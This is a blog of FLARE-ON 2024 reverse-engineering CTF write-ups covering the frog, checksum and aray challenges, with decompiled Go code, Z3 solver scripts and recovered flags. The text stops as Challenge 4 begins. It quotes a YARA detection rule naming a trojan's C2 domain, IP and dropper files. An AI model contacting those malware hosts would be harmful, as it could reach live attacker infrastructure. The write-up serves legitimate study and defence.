My FLARE-ON 2024 Writeups!
Intro
During the past couple of weeks, I participated in the FLARE-ON reversing CTF. From the FLARE-ON website:
1
The Flare-On Challenge is the FLARE team's annual Capture-the-Flag (CTF) contest. It is a single-player series of Reverse Engineering puzzles that runs for 6 weeks every fall.
This was my first time playing this CTF, and I really enjoyed it! I solved 8/10 challenges from which I learned a lot about both Reverse Engineering and crypto. The challenges were all very high-quality, and I’m looking forward to next year! This post contains my writeups for each of the challenges I solved. Supplementary resources, such as the scripts I used during the CTF can be found in this GitHub repo.
Challenge 1 - frog
We are presented with the following files:
A folder named
fonts
A folder named
img
A PE executable named
game.exe
A Python script named
frog.py
A README Before diving into the challenge, let’s read the README:
1
2
3
4
5
6
7
8
9
This game about a frog is written in PyGame. The source code is provided, as well as a runnable pyinstaller EXE file.
To launch the game run frog.exe on a Windows computer. Otherwise, follow these basic python execution instructions:
1. Install Python 3
2. Install PyGame ("pip install pygame")
3. Run frog: "python frog.py"
Well, we have the source code of the game, so let’s read it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
import pygame
pygame.init()
pygame.font.init()
screen_width = 800
screen_height = 600
tile_size = 40
tiles_width = screen_width // tile_size
tiles_height = screen_height // tile_size
screen = pygame.display.set_mode((screen_width, screen_height))
clock = pygame.time.Clock()
victory_tile = pygame.Vector2(10, 10)
pygame.key.set_repeat(500, 100)
pygame.display.set_caption('Non-Trademarked Yellow Frog Adventure Game: Chapter 0: Prelude')
dt = 0
floorimage = pygame.image.load("img/floor.png")
blockimage = pygame.image.load("img/block.png")
frogimage = pygame.image.load("img/frog.png")
statueimage = pygame.image.load("img/f11_statue.png")
winimage = pygame.image.load("img/win.png")
gamefont = pygame.font.Font("fonts/VT323-Regular.ttf", 24)
text_surface = gamefont.render("instruct: Use arrow keys or wasd to move frog. Get to statue. Win game.",
False, pygame.Color('gray'))
flagfont = pygame.font.Font("fonts/VT323-Regular.ttf", 32)
flag_text_surface = flagfont.render("nope@nope.nope", False, pygame.Color('black'))
class Block(pygame.sprite.Sprite):
def __init__(self, x, y, passable):
super().__init__()
self.image = blockimage
self.rect = self.image.get_rect()
self.x = x
self.y = y
self.passable = passable
self.rect.top = self.y * tile_size
self.rect.left = self.x * tile_size
def draw(self, surface):
surface.blit(self.image, self.rect)
class Frog(pygame.sprite.Sprite):
def __init__(self, x, y):
super().__init__()
self.image = frogimage
self.rect = self.image.get_rect()
self.x = x
self.y = y
self.rect.top = self.y * tile_size
self.rect.left = self.x * tile_size
def draw(self, surface):
surface.blit(self.image, self.rect)
def move(self, dx, dy):
self.x += dx
self.y += dy
self.rect.top = self.y * tile_size
self.rect.left = self.x * tile_size
blocks = []
player = Frog(0, 1)
def AttemptPlayerMove(dx, dy):
newx = player.x + dx
newy = player.y + dy
# Can only move within screen bounds
if newx < 0 or newx >= tiles_width or newy < 0 or newy >= tiles_height:
return False
# See if it is moving in to a NON-PASSABLE block. hint hint.
for block in blocks:
if newx == block.x and newy == block.y and not block.passable:
return False
player.move(dx, dy)
return True
def GenerateFlagText(x, y):
key = x + y*20
encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
return ''.join([chr(ord(c) ^ key) for c in encoded])
def main():
global blocks
blocks = BuildBlocks()
victory_mode = False
running = True
while running:
# poll for events
# pygame.QUIT event means the user clicked X to close your window
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_w or event.key == pygame.K_UP:
AttemptPlayerMove(0, -1)
elif event.key == pygame.K_s or event.key == pygame.K_DOWN:
AttemptPlayerMove(0, 1)
elif event.key == pygame.K_a or event.key == pygame.K_LEFT:
AttemptPlayerMove(-1, 0)
elif event.key == pygame.K_d or event.key == pygame.K_RIGHT:
AttemptPlayerMove(1, 0)
# draw the ground
for i in range(tiles_width):
for j in range(tiles_height):
screen.blit(floorimage, (i*tile_size, j*tile_size))
# display the instructions
screen.blit(text_surface, (0, 0))
# draw the blocks
for block in blocks:
block.draw(screen)
# draw the statue
screen.blit(statueimage, (240, 240))
# draw the frog
player.draw(screen)
print(player.x)
if not victory_mode:
# are they on the victory tile? if so do victory
if player.x == victory_tile.x and player.y == victory_tile.y:
victory_mode = True
flag_text = GenerateFlagText(player.x, player.y)
flag_text_surface = flagfont.render(flag_text, False, pygame.Color('black'))
print("%s" % flag_text)
else:
screen.blit(winimage, (150, 50))
screen.blit(flag_text_surface, (239, 320))
# flip() the display to put your work on screen
pygame.display.flip()
# limits FPS to 60
# dt is delta time in seconds since last frame, used for framerate-
# independent physics.
dt = clock.tick(60) / 1000
pygame.quit()
return
def BuildBlocks():
blockset = [
Block(3, 2, False),
Block(4, 2, False),
Block(5, 2, False),
Block(6, 2, False),
Block(7, 2, False),
Block(8, 2, False),
Block(9, 2, False),
Block(10, 2, False),
Block(11, 2, False),
Block(12, 2, False),
Block(13, 2, False),
Block(14, 2, False),
Block(15, 2, False),
Block(16, 2, False),
Block(17, 2, False),
Block(3, 3, False),
Block(17, 3, False),
Block(3, 4, False),
Block(5, 4, False),
Block(6, 4, False),
Block(7, 4, False),
Block(8, 4, False),
Block(9, 4, False),
Block(10, 4, False),
Block(11, 4, False),
Block(14, 4, False),
Block(15, 4, True),
Block(16, 4, False),
Block(17, 4, False),
Block(3, 5, False),
Block(5, 5, False),
Block(11, 5, False),
Block(14, 5, False),
Block(3, 6, False),
Block(5, 6, False),
Block(11, 6, False),
Block(14, 6, False),
Block(15, 6, False),
Block(16, 6, False),
Block(17, 6, False),
Block(3, 7, False),
Block(5, 7, False),
Block(11, 7, False),
Block(17, 7, False),
Block(3, 8, False),
Block(5, 8, False),
Block(11, 8, False),
Block(15, 8, False),
Block(16, 8, False),
Block(17, 8, False),
Block(3, 9, False),
Block(5, 9, False),
Block(11, 9, False),
Block(12, 9, False),
Block(13, 9, False),
Block(15, 9, False),
Block(3, 10, False),
Block(5, 10, False),
Block(13, 10, True),
Block(15, 10, False),
Block(16, 10, False),
Block(17, 10, False),
Block(3, 11, False),
Block(5, 11, False),
Block(6, 11, False),
Block(7, 11, False),
Block(8, 11, False),
Block(9, 11, False),
Block(10, 11, False),
Block(11, 11, False),
Block(12, 11, False),
Block(13, 11, False),
Block(17, 11, False),
Block(3, 12, False),
Block(17, 12, False),
Block(3, 13, False),
Block(4, 13, False),
Block(5, 13, False),
Block(6, 13, False),
Block(7, 13, False),
Block(8, 13, False),
Block(9, 13, False),
Block(10, 13, False),
Block(11, 13, False),
Block(12, 13, False),
Block(13, 13, False),
Block(14, 13, False),
Block(15, 13, False),
Block(16, 13, False),
Block(17, 13, False)
]
return blockset
if __name__ == '__main__':
main()
Skimming the code, the GenerateFlagText
function immediately pops out:
1
2
3
4
def GenerateFlagText(x, y):
key = x + y*20
encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
return ''.join([chr(ord(c) ^ key) for c in encoded])
It uses its two arguments, x
and y
, to create a key which is then XORed with every byte of (presumably) the encrypted flag. Let’s see where this function is called:
1
2
3
4
5
6
7
if not victory_mode:
# are they on the victory tile? if so do victory
if player.x == victory_tile.x and player.y == victory_tile.y:
victory_mode = True
flag_text = GenerateFlagText(player.x, player.y)
flag_text_surface = flagfont.render(flag_text, False, pygame.Color('black'))
print("%s" % flag_text)
Hmm… it seems like the x
and y
coordinates of the player need to equal the coordinates of the victory_tile
, and then GenerateFlagText
will be called with those coordinates. We could inspect the code more closely, but the player’s coordinates are integral, so it’d be easier to just bruteforce them, which I did with the following script :)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import threading
def GenerateFlagText(x, y):
key = x + y*20
encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
return ''.join([chr(ord(c) ^ key) for c in encoded])
tasks = []
tasks_lock = threading.Lock()
for x, y in zip(range(100000), range(10000)):
tasks.append((x, y))
def thread_func():
while True:
with tasks_lock:
if len(tasks) > 0:
x, y = tasks.pop()
if "flare" in GenerateFlagText(x, y):
print(GenerateFlagText(x, y))
break
else:
return
threads = []
for _ in range(100):
threads.append(threading.Thread(target=thread_func))
for t in threads:
t.start()
for t in threads:
t.join()
We first fill a list named tasks
with each possible (x, y) pair, where x and y are positive integers. Then, we start 100 threads, each of which pops a pair out of tasks
, runs the GenerateFlagText
function on it, and prints the output of the function if it contains the string flare
(this is because the flags are of the format ...@flare-on.com
). Running this script prints:
1
welcome_to_11@flare-on.com
We got our first flag!
Challenge 2 - checksum
Initial Analysis
In this challenge, we are presented with a single ~2.4MB executable named checksum.exe
. Let’s try running it:
Time to analyze the binary. Opening it in Ghidra, we see that the entry point is a function called _rt0_amd64
, suggesting that it’s a Golang binary (this also explains the large binary size, due to Golang binaries being statically linked). The binary includes debug symbols, so to find the main function we search for main.main
(the main
function in the main
namespace) in the symbols section of Ghidra. The main function begins by testing our addition skills: it generates a random integer x
between 0 and 5, and then asks us to add two integers smaller than 10000 x + 3
times. If we enter the incorrect result, the binary exits. A commented excerpt of the code for this logic is shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// Generate the number of guesses
numGuesses = math/rand/v2::math/rand/v2.(*Rand).uint64n(math/rand/v2.globalRand,5);
// Loop numGuesses + 3 times
while (iVar4 < (int)(numGuesses + 3)) {
local_190 = iVar4;
// Generate two random numbers smaller than 10000
local_158 = math/rand/v2::math/rand/v2.(*Rand).uint64n(math/rand/v2.globalRand,10000);
local_160 = math/rand/v2::math/rand/v2.(*Rand).uint64n(math/rand/v2.globalRand,10000);
...
// Compute their sum
local_168 = local_160 + local_158;
// Print the question: fmt.Printf("Check sum: %d + %d = ", local_158, local_160)
format.len = 0x15;
format.str = &DAT_004ca484;
fmt::fmt.Fprintf(w,format,a);
// Read in the answer
format_00.len = 3;
format_00.str = &DAT_004c73c1;
readChecksumErr = fmt::fmt.Fscanf(r,format_00,a_00);
// If reading the number caused an error, exit using the helper
errorString.len = 0x15;
errorString.str = (uint8 *)"Not a valid answer...";
errorCheckHelper(readChecksumErr.err,errorString);
// If the result is incorrect, exit
if (*local_18 != local_168) {
runtime::runtime.printlock();
s_00.len = 0xe;
s_00.str = (uint8 *)"Try again! ;)\n";
runtime::runtime.printstring(s_00);
runtime::runtime.printunlock();
return;
}
// Otherwise, print "Good math!!!" and continue onto the next iteration
runtime::runtime.printlock();
s.len = 0x2c;
s.str = (uint8 *)"Good math!!!\n------------------------------\n";
runtime::runtime.printstring(s);
runtime::runtime.printunlock();
iVar4 = local_190 + 1;
}
The errorCheckHelper
function executes the following logic given a Go error
and a string:
If the error is
nil
, do nothingIf the error is not
nil
, print the string and exit with status0xdeadbeef
The annotated code forerrorCheckHelper
is shown below. Note that I also removed some irrelevant parts, such as the function asking for more stack space if it doesn’t have enough.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void main::errorCheckHelper(error err,string errorString)
{
// Compare the error with nil
if (err.tab != (runtime.itab *)0x0) {
// Print the error data
pvStack_10 = runtime::runtime.convTstring(errorString);
local_18 = &string___internal/abi.Type;
w.data = os.Stdout;
w.tab = &*os.File__implements__io.Writer___runtime.itab;
a.len = 1;
a.array = (interface_{} *)&local_18;
a.cap = 1;
fmt::fmt.Fprintln(w,a);
os::os.Exit(0xdeadbeef);
}
return;
}
This pattern of calling a fallible function (like Fscanf
in the above code) and then calling errorCheckHelper
is something we’ll see a lot throughout the binary. Let’s run the binary and answer all the questions correctly and see what happens:
The Checksum
That’s interesting! After completing all the addition exercises, the prompt “Checksum: “ is printed (note the lack of spacing between ‘Check’ and ‘sum’). Let’s see what happens under the hood. First of all, as expected, we can see the Fprint
call that prints “Checksum: “ after the loop.
1
2
3
4
5
6
7
psStack_50 = &gostr_Checksum:;
w_00.data = os.Stdout;
w_00.tab = &*os.File__implements__io.Writer___runtime.itab;
a_01.len = 1;
a_01.array = (interface_{} *)&local_58;
a_01.cap = 1;
fmt::fmt.Fprint(w_00,a_01);
You may be wondering about the gostr_Checksum
constant; in Golang binaries, all of the strings in the binary are stored contagiously in the .rdata
section. When the code uses a string, it does so using a pointer to the corresponding string in this jumble of strings. This is also why if we’d run strings
on the binary, we’d see a huge mess of strings instead of just Checksum:
. Back to the code, we see a call to Fscanf
that reads input using the format string %s\n
, followed by a call to the error check helper (I changed the variable names a bit).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
local_68 = &*string___internal/abi.PtrType;
psStack_60 = local_10;
r_00.data = os.Stdin;
r_00.tab = &*os.File__implements__io.Reader___runtime.itab;
checksumAnswerString.len = 1;
checksumAnswerString.array = (interface_{} *)&local_68;
checksumAnswerString.cap = 1;
sVar9.len = 3;
sVar9.str = &DAT_004c73c4;
readChecksumErr = fmt::fmt.Fscanf(r_00,sVar9,checksumAnswerString);
// Error checking
readChecksumErrString.len = 0x1e;
readChecksumErrString.str = (uint8 *)"Fail to read checksum input...";
errorCheckHelper(readChecksumErr.err,readChecksumErrString);
Our input is then decoded into a slice of bytes (stored at local_10
):
1
userChecksum = runtime::runtime.stringtoslicebyte(&local_1c8,*local_10);
At this point, the binary does some crypto operations like initializing a ChaCha20 cipher and computing the SHA256 digest of some data. When I first solved the challenge, I didn’t understand what this crypto code did, so I skipped this part. This proved to be good, since if we skip ahead we see the following interesting loop:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
while( true ) {
if (local_188 <= iVar4) {
sVar9 = runtime::runtime.slicebytetostring((runtime.tmpBuf *)local_1e8,ptr,local_168);
// local_10 is the bytes of the checksum we entered
if (sVar9.len == local_10->len) {
cVar2 = runtime::runtime.memequal(sVar9.str,local_10->str);
if (cVar2 == '\0') {
bVar3 = false;
}
else {
bVar3 = main.a(*local_10);
}
}
else {
bVar3 = false;
}
if (bVar3 == false) {
local_88 = &string___internal/abi.Type;
psStack_80 = &gostr_Maybe_it's_time_to_analyze_the_b;
w_01.data = os.Stdout;
w_01.tab = &*os.File__implements__io.Writer___runtime.itab;
a_02.len = 1;
a_02.array = (interface_{} *)&local_88;
a_02.cap = 1;
fmt::fmt.Fprintln(w_01,a_02);
}
oVar12 = os::os.UserCacheDir();
local_170 = oVar12.~r0.len;
local_a8 = oVar12.~r0;
errorString_02.len = 0x13;
errorString_02.str = (uint8 *)"Fail to get path...";
errorCheckHelper(oVar12.~r1,errorString_02);
a1.len = 0x16;
a1.str = (uint8 *)"\\REAL_FLAREON_FLAG.JPG";
...
}
The length of the checksum entered by the user is compared to the length of a string named sVar9
. If we debug the binary we can see that this length is 32. If the length is correct, the function main.a
is ran on the input checksum, and its return value (a boolean) is stored in bVar3
. If bVar3
is false, the binary prints “Maybe it’s time to analyze the binary! :)”. Otherwise, the binary gets the user cache directory and initializes a string with the contents \\REAL_FLAREON_FLAG.JPG
. Judging from this string, we need to get main.a
to output true
on our checksum.
How is the checksum verified?
The main.a
function gets the input string in rax
, and initializes a new slice from it:
It then iterates over each of the checksum characters and stores the current iteration number in ebx
. Inside the loop, the code does some operations (e.g. multiplication by a constant) on the current index i
to get a number we’ll call j
. The i-th character of the input checksum is stored in edx
at the end of this block.
The pseudocode translation of this is j = i - (((i * 0x5D1745D1745D1746) >> 64) >> 2) * 11
. If j
is greater than 0xb, the function panics. Otherwise, it stores the value "FlareOn2024"[j] ^ input_checksum[i]
in the slice initialized at the start of the function:
After the loop, the function Base64-encodes the resulting slice. If the length of the encoded string is 0x58, it compares the encoding with the string cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1UL ByRdBEFdfVtWVA==
. If either the length is not 0x58 or the strings are not equal, the function returns false, and otherwise it returns true The code for this final comparison is shown below.
To recap, the function applies some transformation on the input string, and returns true if the base64-encoding of the transformed string is equal to some constant string.
Solving with Z3
To solve this problem, I used a tool I’ve heard about for a while in CTFs but haven’t had the opportunity to try out called Z3, which is an SMT (Satisfiability Modulo Theory) Solver developed by Microsoft. SMT solvers, given a set of constraints over variables, try to find a model (i.e. an assignment for all the variables) so that all the constraints are satisfied. Note that the constraints may also be unsatisfiable (or UNSAT for short): there’s no assignment for the variables that satisfies all of the constraints (for example the two constraints x > 3
and x < 3
are UNSAT). In this case Z3 reports the system as such. Z3 has an excellent Python API, which we demonstrate the usage of by solving some dummy constraints, as shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from z3 import *
# Define a new solver
s = Solver()
# Create integer variables x and y
x = Int('x')
y = Int('y')
# Define constraints
s.add(x + y == 5)
s.add(y < 3)
# Check if satisfiable
# prints "sat"
print(s.check())
# Print the model -- the assignment for each variabler
# prints x = 3, y = 2
print(s.model())
Now let’s use Z3 to solve the challenge! We’ll begin by declaring a variable for each byte in the input checksum.
1
2
s = Solver()
correct_checksum = [BitVec(f"checksum_{i}", 8) for i in range(64)]
Then, we need to replicate the constraints in main.a
, which is of the following form:
1
Base64Encode(transformed_input_checksum) = SomeBase64String
Since Z3 doesn’t support base64 out of the box, we will base64-decode both sides of the above identity to get:
1
transformed_input_checksum = Base64Decode(SomeBase64String)
In Python:
1
2
3
4
5
6
7
8
9
10
11
import base64
TARGET = b"cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA=="
TARGET_DECODED = base64.b64decode(TARGET)
xor_arr = b"FlareOn2024"
for i in range(64):
j = i - 11 * (((i * HEX_CONST) >> 64) >> 2)
s.add(correct_checksum[i] ^ xor_arr[j] == TARGET_DECODED[i])
The for-loop is very similar to the one in main.a
. We compute j
and then add a constraint that correct_checksum[i] ^ xor_arr[j]
(the i-th byte in the transformed checksum) is equal to the i-th byte of the decoded target string. Finally, we check whether the constraint system is satisfiable, and print the model:
1
2
3
4
5
6
7
8
9
10
print(s.check())
model = s.model()
ans = ""
for var in correct_checksum:
ans += chr(model[var].as_long())
print(ans)
We need to run the as_long
method on each variable in the checksum, since by default the variables are treated as bit vectors, and not integers that can be converted into ASCII characters. Running this code prints:
1
2
sat
7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd
Let’s try the checksum in the program:
Awesome! Looking in our cache directory, we see the following JPG:
Second challenge completed! I really enjoyed this challenge! This was my first time reversing a Go binary, and the reversing process is definitely different from reversing C/C++ binaries. The highlight of this challenge for me was using z3 :) I wanted to try it for a long time, and it’s a very interesting and fun tool.
Challenge 3 - aray
Reversing a YARA rule?
In this challenge, we are presented with a YARA file, aray.yara
. For the unacquainted, YARA is a language commonly used in Malware Analysis to perform pattern matching on files. In my Analyzing a Trojan Horse post, for example, we defined the following YARA rule to detect the malware analyzed in the post:
1
2
3
4
5
6
7
8
9
10
11
rule phime {
strings:
$reg_autostart = "PHIME2008"
$dnsapi = "admin$\\system32\\dnsapi.exe"
$msupd = "msupd.exe"
$c2 = "fukyu.jp"
$ip = "126.255.117.59"
$mal_jpg = "Accl3.jpg"
condition:
$reg_autostart or $dnsapi or $msupd or $c2 or $ip or $mal_jpg
}
The condition
in the above rule is triggered if at least of one the strings defined in the strings
section is matched. The YARA rule we get in the challenge is a lot longer, and looks as follows:
1
2
3
4
5
6
7
8
9
import "hash"
rule aray
{
meta:
description = "Matches on b7dc94ca98aa58dabb5404541c812db2"
condition:
filesize == 85 and hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2" and filesize ^ uint8(11) != 107 and uint8(55) & 128 == 0 and uint8(58) + 25 == 122 and uint8(7) & 128 == 0 and uint8(48) % 12 < 12 and uint8(17) > 31 and uint8(68) > 10 and uint8(56) < 155 and uint32(52) ^ 425706662 == 1495724241 and uint8(0) % 25 < 25 and filesize ^ uint8(75) != 25 and filesize ^ uint8(28) != 12 and uint8(35) < 160 and uint8(3) & 128 == 0 and uint8(56) & 128 == 0 and uint8(28) % 27 < 27 and uint8(4) > 30 and uint8(15) & 128 == 0 and uint8(68) % 19 < 19 and uint8(19) < 151 and filesize ^ uint8(73) != 17 and filesize ^ uint8(31) != 5 and uint8(38) % 24 < 24 and uint8(3) > 21 and uint8(54) & 128 == 0 and filesize ^ uint8(66) != 146 and uint32(17) - 323157430 == 1412131772 and hash.crc32(8, 2) == 0x61089c5c and filesize ^ uint8(77) != 22 and uint8(75) % 24 < 24 and ...
}
The condition in the file is a conjunction of a lot of different sub-conditions. The flag is in the file that the rule matches on. When I first saw the condition, it looked a bit complicated, but on closer inspection we can find some order in the chaos:
In YARA,
uint8(i)
returns the i-th byte of the file on which the rule is run, so conditions likeuint8(58) + 25 == 122
define a constraint on specific bytes in the fileSimilarily,
uint16
anduint32
return words and DWORDs at certain offsets in the file, respectively. The constraintuint32(52) ^ 425706662 == 1495724241
, for example, means that the DWORD composed of bytes 52, 53, 54, and 55, when XORed with425706662
equals1495724241
There is also a call to
hash.crc32
, which, as the name suggests computes a 32-bit CRC (Cyclic Redundancy Check) over some bytes in the file. If we scroll further into the file we also see some conditions like involving thehash.md5
andhash.sha256
functions, which compute hashes over consecutive bytes in the fileSolving with Z3
Well, we have a large set of constraints over many variables, so let’s use Z3 again! We’ll start by defining a class named
ConditionSolver
, whose constructor takes in the condition fromaray.yara
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class ConditionSolver:
def __init__(self, conjunction: str):
conjunction = conjunction.strip()
self.conditions = conjunction.split(" and ")
# The first condition is that the filesize is 85
self.filesize = 85
# Since there are bit shifts involved, we represent each character of the flag
# with a 32-bit integer, and manually constraint them to be valid 8-bit chars
self.flag = [BitVec(f"flag_{i}", 32) for i in range(self.filesize)]
self.solver = Solver()
# Possible operators
self.operators = [">", "<", "==", "!="]
# Constraint the characters of the flag
for i in range(self.filesize):
self.solver.add(ULE(self.flag[i], 0xff))
We split the conjunction into the individual conditions by split
ting on the “and” token, yielding a list of individual conditions. The first condition is filesize == 85
, so we manually set self.filesize
to 85. Some operations, such as uint32(17) - 323157430 == 1412131772
, involve 32-bit numbers, so we define each character of the flag to be a BitVec
of 32 bits and manually constrain each BitVec to be less than 0xff (using the ULE
, or unsigned less-than constraint), since if the BitVecs are only 8 bits Z3 doesn’t solve them correctly. We then define a method solve
that adds each of the sub-conditions in the conjunction to the Z3 solver, solves the resulting system, and prints the result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def solve(self):
# Add a constraint for each condition
for cond in self.conditions:
# We replace the filesize with 85 since the first condition tells us to do so
cond = cond.replace("filesize", "85")
constraint = None
if ">" in cond:
constraint = self._parse_value(cond)
# Change > to unsigned gt
before = constraint[:constraint.index(">")]
after = constraint[constraint.index(">")+1:]
constraint = f"UGT({before}, {after})"
elif "<" in cond:
constraint = self._parse_value(cond)
# Change < to unsigned lt
before = constraint[:constraint.index("<")]
after = constraint[constraint.index("<")+1:]
constraint = f"ULT({before}, {after})"
elif "==" in cond:
constraint = self._parse_value(cond)
elif "!=" in cond:
constraint = self._parse_value(cond)
else:
print(f"Condition {cond} did not match any operator")
if constraint is not None:
self.solver.add(eval(constraint))
# Find a model
self.solver.check()
model = self.solver.model()
for var in self.flag:
print(chr(model[var].as_long()), end="")
We’ll need to transform the constraints before adding them to the solver - for example, the constraint uint8(7) & 128 == 0
will result in an error, since Z3 doesn’t know what a uint8
is. This is done in 3 steps:
Replacing the string
filesize
with85
, since the first constraint isfilesize == 85
Calling a method
_parse_value
on the resulting stringIf the operator is > or <, we replace them with UGT (unsigned greater-than) and ULT (unsigned less-than), respectively, since the default operations (< and >) are defined on signed numbers, making Z3 not solve the system correctly
uint8 and uint32
Let’s write the
_parse_value
method. First of all, we’ll need to transformuint8
anduint32
:
1
2
3
4
5
6
7
def _parse_value(self, value: str):
value = self._replace_uint8(value)
value = self._replace_uint32(value)
...
return value
Replacing uint8(x)
is easy - we just need to replace it with the i-th byte in the flag:
1
2
def _replace_uint8(self, value: str):
return re.sub(r"uint8\((\d+)\)", r"self.flag[\1]", value)
For example, uint8(55)
gets replaced with self.flag[55]
(recall that self.flag
defines a z3 variable for each character in the flag). Replacing uint32
requires a bit more work:
1
2
3
4
5
6
7
8
9
10
11
def _replace_uint32(self, value: str):
# Define a regex pattern to match "uint32(number)"
pattern = r"uint32\((\d+)\)"
# Define the replacement function
def replacement(match):
number = int(match.group(1))
return f"self.flag[{number}] + (self.flag[{number + 1}] << 8) + (self.flag[{number + 2}] << 16) + (self.flag[{number + 3}] << 24)"
# Use re.sub to replace the pattern with the formatted string
return re.sub(pattern, replacement, value)
For example, uint32(55)
gets replaced with self.flag[55] + (self.flag[56] << 8) + (self.flag[57] << 16) + (self.flag[58] << 24)
. This constructs a 32-bit little-endian integer from 4 bytes (if this is unclear, try verifying it on 4 bytes of your choice). I had ChatGPT write these methods for me (with some guidance) and it worked very well!
Hash module functions
Let’s get back to _parse_value
. Recall that we also have constraints that use the crc32, md5, and sha256 functions from the hash module. On first glance, this seems like a pretty big problem; hash functions (luckily) can’t just be reversed using Z3. Upon closer inspection, we notice that all constraints that use those functions only use them on a small range of bytes. Consider, for example, the constraint hash.md5(0, 2) == "89484b14b36a8d5329426a3d944d2983"
. The MD5 digest is computed over only 2 bytes, so, by bruteforce, we can find two bytes x and y such that md5(x || y) = "89484b14b36a8d5329426a3d944d2983"
, where ||
is the concatenation operator. We’ll then constraint the two bytes in the corresponding indices over which the digest is computed to be x and y. Let’s get to work:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def _parse_value(self, value: str):
value = self._replace_uint8(value)
value = self._replace_uint32(value)
if "hash" in value:
# Since the hash constraints are over only 2 characters (e.g. hash.md5(0, 2) == ...), we can just
# try all possible combinations
if "md5" in value:
# hash.md5(offset, 2) == "target"
offset = int(value[len("hash.md5("):value.index(",")])
target = value[value.index("\"")+1:-1]
for first_byte in range(0xff):
for second_byte in range(0xff):
if md5(bytes([first_byte, second_byte])).hexdigest() == target:
self.solver.add(self.flag[offset] == first_byte)
self.solver.add(self.flag[offset + 1] == second_byte)
return value
If the hash.md5
function is called in the constraint, we find the offset on which it is called (this is the number between hash.md5
and the comma), and find the target digest. We then bruteforce all 2-byte combinations, and, once we find a working combinations, we add the constraints. A similar thing works for crc32 and sha256:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elif "sha256" in value:
# hash.sha256(offset, 2) == "target"
offset = int(value[len("hash.sha256("):value.index(",")])
target = value[value.index("\"")+1:-1]
for first_byte in range(0xff):
for second_byte in range(0xff):
if sha256(bytes([first_byte, second_byte])).hexdigest() == target:
self.solver.add(self.flag[offset] == first_byte)
self.solver.add(self.flag[offset + 1] == second_byte)
elif "crc32" in value:
offset = int(value[len("hash.crc32("):value.index(",")])
target = int(value[value.index("==")+3:], 16)
for first_byte in range(0xff):
for second_byte in range(0xff):
curr_bytes = bytes([first_byte, second_byte])
if crc32(curr_bytes) == target:
self.solver.add(self.flag[offset] == first_byte)
self.solver.add(self.flag[offset + 1] == second_byte)
return None
Getting back to solve
, we eval
the transformed constraint and add it to the solver:
1
2
if constraint is not None:
self.solver.add(eval(constraint))
Finally, we use Z3 to solve the resulting system, and print the result:
1
2
3
4
5
self.solver.check()
model = self.solver.model()
for var in self.flag:
print(chr(model[var].as_long()), end="")
Let’s use our class on the conditions and call the solve
method:
1
2
3
4
if __name__ == "__main__":
cond_solver = ConditionSolver(condition)
cond_solver.solve()
Running this prints rule flareon { strings: $f = "1RuleADayK33p$Malw4r3Aw4y@flare-on.com" condition: $f }
Third challenge solved! This challenge was also excellent and very creative. I assume that there are easier ways to solve this challenge than using Z3, but after the previous challenge I really wanted to use it more :)
Challenge 4 - Meme Maker 3000
Initial Analysis
In this challenge, we are presented with an HTML file named mememaker3000.html
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html>
<head>
<title>FLARE Meme Maker 3000</title>
<style>
h1 {
font-family: cursive;
text-align: center;
}
#controls {
text-align: center;
}
